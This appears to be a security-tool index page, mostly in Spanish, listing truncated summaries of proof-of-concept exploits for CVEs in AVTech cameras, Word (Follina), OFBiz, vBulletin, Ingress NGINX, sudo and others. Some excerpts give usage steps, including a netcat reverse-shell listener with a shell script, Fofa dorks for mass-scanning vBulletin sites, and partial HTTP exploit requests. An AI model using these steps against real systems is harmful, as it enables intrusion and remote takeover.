CVE-2024-7029

Herramienta PoC para explotar CVE-2024-7029 en dispositivos AvTech 🎤 Traducción del README Inglés فارسی 📸 Captura de pantalla 💎 Introducción CVE-2024-7029 destaca un grave problema de seguridad en los dispositivos AVTech, donde los atacantes pueden omitir la autenticación y ejecutar comandos...

CVE-2022-30190

MS-MSDT Follina CVE-2022-30190 PoC Generador de docx malicioso para explotar Ejecución remota de código en Microsoft Office Word La creación de este script se basa en CVE-2021-40444 PoC de LockedByte y en el informe de Tothi Uso Primero modifica backup.html y reemplaza el payload de PowerShell...

CVE-2020-9548

CVE-2020-9548: Vulnerabilidad de ejecución remota de código en FasterXML/jackson-databind...

CVE-2025-45466

CVE-2025-45466 Son los detalles de CVE-2025-45466 Divulgación de CVE: CVE-2025-45466 Resumen Se ha descubierto una vulnerabilidad en el perro robótico Unitree Go1 todas las versiones = Go120220511 que involucra credenciales de autenticación en texto plano codificadas , lo que conduce a un Control...

CVE-2020-9496

CVE-2020-9496 ApacheOfBiz 17.12.01 - Ejecución remota de código no autorizada Las solicitudes XML-RPC son vulnerables a una deserialización insegura. Pasos Paso 1: pip3 install -r requeriments.txt Paso 2: nc -nlvp equipo atacante Paso 3: python3 shell.py -i -p -li -lp Paso 4: Deberías tener una...

CVE-2019-11043

CVE-2019-11043 Exploit en Python para CVE-2019-11043 root@kitploit: You can use build environment from https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043 Uso： root@kitploit: python3 main.py -u http://iptopage/index.php Si tiene éxito, verá: root@kitploit: Base status code is 200...

CVE-2025-60787

CVE-2025-60787 - Authenticated RCE in motionEye PoC for CVE-2025-60787 that is an Authenticated RCE vulnerability for motionEye with all afected versions up to 0.43.1b4 included. This is an automated PoC for the vulnerability described in this repository. Credits to prabhatverma47. Usage The scri...

CVE-2025-31337

CVE-2025-31337 Aviso de Seguridad ID de CVE: CVE-2025-31337 Publicado: 2025-03-15 Puntuación CVSS: 9.8 Crítica CWE: CWE-120 Copia de búfer sin verificar el tamaño de la entrada Descripción Se descubrió una vulnerabilidad crítica de desbordamiento de búfer en AIDR ChatBot Framework versión 4.2.0 y...

Exihibitor-RCE

Exhibitor-RCE Exhibitor Web Ui 1.7.1 RCE, CVE-2019-5029 Paso 1: $ git clone https://github.com/thehunt1s0n/Exihibitor-RCE/ Paso 2: $ cd Exihibitor-RCE/ Paso 3 opcional: Es posible que necesites editar la carga útil de datos json en el script. Para ello, simplemente captura la solicitud usando Bur...

CVE-2016-3088

CVE-2016-3088 Exploit de ejecución remota de código de Apache ActiveMQ Descripción La aplicación web Fileserver en Apache ActiveMQ 5.x anterior a 5.14.0 permite a atacantes remotos subir y ejecutar archivos arbitrarios mediante una petición HTTP PUT seguida de una petición HTTP MOVE. Autor...

CVE-2025-32463

CVE-2025-32463 Is a local privilege escalation vulnerability affecting vulnerable versions of sudo. The flaw abuses the sudo -R chroot feature together with the Linux Name Service Switch NSS mechanism to force sudo into loading an attacker-controlled shared library as root. By manipulating...

CVE-2025-59287---WSUS-SCCM-RCE

CVE-2025-59287 - WSUS / SCCM RCE Basado en el exploit original en: https://gist.github.com/hawktrace/76b3ea4275a5e2191e6582bdc5a0dc8b Ahora puedes especificar ysoserial.exe y ejecutar lo que quieras: https://hawktrace.com/blog/cve-2025-59287/ https://hawktrace.com/blog/cve-2025-59287-unauth/...

CVE-2025-54123

CVE-2025-54123 Resumen Ejecución remota de código autenticada en el endpoint de la API de middleware de HoverFly debido a una validación de entrada insuficiente y a una ejecución insegura de comandos. Flujo del ataque 1. Autenticación El atacante se autentica en HoverFly usando credenciales válid...

SSH-Remote-Code-Execution

SSH Remote Code Execution SSH Zero-Day | Made by ClumsyLulz & Taylor Christian Newsome Summary This repository contains a C program that accepts input parameters and generates a packet to be sent to a server over the SSH protocol. The program allocates a buffer to hold the data, writes it to a...

CVE-2026-61511

VBulletin RCE POC Telegram : @esp256 Soporte : escaneo masivo/individual Dork de Fofa root@kitploit: body="Powered by vBulletin" body="vbulletin/core/cpstyles" body="Powered by vBulletin" && body="6.2" body="Powered by vBulletin" && body="6.1" body="Powered by vBulletin" && body="6."...

IngressNightmare-PoC

Exploit para Ingress NGINX - IngressNightmare Este proyecto proporciona un exploit dirigido a vulnerabilidades críticas de Ejecución Remota de Código RCE no autenticada en el Controlador Ingress NGINX para Kubernetes, conocidas colectivamente como IngressNightmare. Investigación de Wiz En la...

CVE-2025-55182-Scanner

CVE-2025-55182 - Escáner de RCE para React Server Components Un completo kit de herramientas de pruebas de seguridad para CVE-2025-55182, una vulnerabilidad crítica de ejecución remota de código sin autenticación previa en React Server Components. 🎓 NUEVO: ¡Guía Educativa Completa Disponible!...

CVE-2020-0618

CVE-2020-0618 RCE en SQL Server Reporting Services CVE-2020-0618 Verificación de vulnerabilidad POC Se puede enviar la siguiente solicitud HTTP al servidor para explotar la aplicación: root@kitploit: POST /ReportServer/pages/ReportViewer.aspx HTTP/1.1 Host: target Content-Type:...

CVE-2022-25064

CVE-2022-25064 TP-LINK TL-WR840N RCE via the function oalwan6setIpAddr POC root@kitploit: POST /cgi?2&2&2 HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 Macintosh; Intel Mac OS X 10.15; rv:95.0 Gecko/20100101 Firefox/95.0 Accept: / Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3...

CVE-2024-22274

CVE-2024-22274: Ejecución remota de código autenticada en VMware vCenter Server El vCenter Server contiene una vulnerabilidad de ejecución remota de código autenticada. Un actor malicioso con privilegios administrativos en el shell del appliance de vCenter podría explotar este problema para...